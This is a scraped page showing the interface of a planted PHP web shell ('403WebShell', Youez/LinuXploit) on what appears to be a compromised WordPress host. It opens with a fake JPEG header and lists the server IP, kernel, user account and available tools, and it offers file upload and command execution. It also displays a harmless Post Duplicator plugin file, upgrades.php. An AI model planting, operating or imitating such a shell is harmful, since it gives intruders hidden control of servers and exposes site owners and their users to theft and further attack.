????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.32.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/tempvsty/buyeaa.com/wp-content/plugins/post-duplicator/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/tempvsty/buyeaa.com/wp-content/plugins/post-duplicator/includes/upgrades.php
<?php
namespace Mtphr\PostDuplicator\Upgrages;
use function Mtphr\PostDuplicator\get_option_value;

add_action( 'admin_init', __NAMESPACE__ . '\run_updates' );

/**
 * Run updates
 *
 * @since  1.0.0
 * @return void
 */
function run_updates() {
  $current_version = get_option( 'mtphr_postduplicator_version', '0' );
  if ( ! $current_version ) {
    $current_version = '0';
  }
  
	if ( version_compare( $current_version, '2.41', '<' ) ) {
    update_v2_41();
	}

	if ( MTPHR_POST_DUPLICATOR_VERSION != $current_version ) {
		update_option( 'mtphr_postduplicator_version_upgraded_from', $current_version );
		update_option( 'mtphr_postduplicator_version', MTPHR_POST_DUPLICATOR_VERSION );
	}
}

/**
 * Version 2.41 updates
 */
function update_v2_41() {
  $duplicate_roles = [
    'administrator',
    'editor',
    'author',
    'contributor',
  ];
  $duplicate_others_roles = [
    'administrator',
  ];
  if ( 'all_users' === get_option_value( 'post_duplication' ) ) {
    $duplicate_others_roles[] = 'editor';
  }

  if ( is_array( $duplicate_roles ) && ! empty( $duplicate_roles ) ) {
    foreach ( $duplicate_roles as $slug ) {
      if ( $role = get_role( $slug ) ) {
        $role->add_cap( 'duplicate_posts' );
        if ( in_array( $slug, $duplicate_others_roles ) ) {
          $role->add_cap( 'duplicate_others_posts' );
        }
      }
    }
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit